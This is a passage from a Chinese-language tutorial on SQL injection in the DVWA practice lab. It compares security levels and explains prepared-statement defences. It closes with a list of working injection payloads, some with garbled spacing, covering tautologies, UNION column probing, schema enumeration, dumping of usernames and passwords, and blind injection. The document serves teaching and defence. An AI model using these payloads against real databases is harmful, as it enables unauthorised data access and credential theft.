-- 输入:1' UNION SELECT user, password FROM users -- -- 经过转义:1\' UNION SELECT user, password FROM users -- -- 存入SESSION:1\' UNION SELECT user, password FROM users -- -- 拼接到SQL:... WHERE user_id = '1\' UNION SELECT user, password FROM users -- ' ...
// 输出结果 $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } else { // 未找到用户 $html .= '<pre>User ID is MISSING from the database.</pre>'; } } else { // ★★★ 输入不是数字,拒绝 ★★★ // 明确的错误信息 $html .= '<pre>User ID must be numeric</pre>'; } }
?>
完善的防护机制
输入验证 - is_numeric()只接受数字
PDO预编译 - SQL结构和数据完全分离
参数绑定 - 数据类型明确指定
限制结果 - LIMIT 1限制返回行数
PDO预编译原理
传统拼接(不安全):
1 2 3 4 5
// 危险方式 $query = "SELECT * FROM users WHERE id = '$id'"; // 如果$id = "1' OR '1'='1" // 结果:SELECT * FROM users WHERE id = '1' OR '1'='1' // 注入成功!
PDO预编译(安全):
1 2 3 4 5 6 7 8 9 10 11
// 安全方式 $stmt = $db->prepare('SELECT * FROM users WHERE id = :id'); $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute();
// 执行过程: // 1. 数据库先编译SQL结构:"SELECT * FROM users WHERE id = ?" // 2. 然后绑定数据:id = "1' OR '1'='1" // 3. 数据被当作字符串整体,不会被解析为SQL代码 // 4. 实际执行:SELECT * FROM users WHERE id = '1\' OR \'1\'=\'1\'' // 5. 查找id为整个字符串的记录(不存在),注入失败!
为什么预编译安全?
1 2 3 4 5 6
传统方式: 用户输入 → 拼接到SQL → 作为代码执行 ✗
预编译方式: SQL结构 → 先编译 用户输入 → 只作为数据绑定 → 不会被当作代码 ✓
为什么无法攻破?
多层防御:
is_numeric()验证
1 2 3
输入:1' OR '1'='1 is_numeric("1' OR '1'='1") = false 拒绝!
PDO预编译
1 2
即使绕过is_numeric,PDO也会将输入当作数据 不会被执行为SQL代码
参数类型
1 2
PDO::PARAM_INT - 强制转换为整数 "1' OR '1'='1" → 1
攻击尝试全部失败:
1 2 3 4 5 6 7 8 9 10 11 12 13
// 尝试1:字符串注入 输入:1' OR '1'='1 is_numeric() → false → 拒绝
// 尝试2:纯数字UNION 输入:1 UNION SELECT ... is_numeric("1 UNION SELECT ...") → false → 拒绝
// 不要显示详细错误 // mysqli_query($query) or die(mysql_error()); ✗
// 记录错误,显示通用消息 if (!mysqli_query($query)) { error_log(mysqli_error($conn)); die("An error occurred"); }
检测工具
SQLMap - 自动化SQL注入检测
Burp Suite Scanner - 漏洞扫描
OWASP ZAP - 免费安全扫描工具
总结对比
特性
Low
Medium
High
Impossible
输入过滤
❌
mysqli_escape
mysqli_escape + stripslashes
is_numeric()
SQL类型
字符串拼接
字符串拼接(无引号)
字符串拼接
PDO预编译
引号保护
✅ 有引号
❌ 无引号
✅ 有引号
N/A
SESSION
❌
❌
✅
❌
攻击方式
字符串注入
数字注入
字符串注入
无法注入
攻击难度
极易
简单
中等
几乎不可能
典型Payload
1' OR '1'='1
1 OR 1=1
1' OR '1'='1
无效
常用SQL注入Payload集合
基础测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
-- 单引号测试 ' " \ -- 逻辑测试 1'OR'1'='1 1'OR'1'='1'-- 1' OR '1'='1' # 1'OR'1'='1'/* -- 数字注入 1 OR 1=1 1 AND 1=1 1 AND 1=2
UNION注入
1 2 3 4 5 6 7 8 9 10 11 12 13
-- 判断列数 1' ORDER BY 1 -- 1'ORDERBY2-- 1' ORDER BY 3 -- -- UNION SELECT 1'UNIONSELECTNULL, NULL-- 1' UNION SELECT 1, 2 -- 1'UNIONSELECT'test', 'test2'--
-- 数据库 1' UNION SELECT schema_name, NULL FROM information_schema.schemata -- -- 表 1'UNIONSELECT table_name, NULLFROM information_schema.tables WHERE table_schema='dvwa'--
-- 列 1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' -- -- 数据 1'UNIONSELECTuser, password FROM users -- 1' UNION SELECT GROUP_CONCAT(user,':',password), NULL FROM users --
盲注
1 2 3 4 5 6 7
-- 基于布尔的盲注 1' AND SUBSTRING(database(),1,1)='d' -- 1'AND ASCII(SUBSTRING(database(),1,1))=100--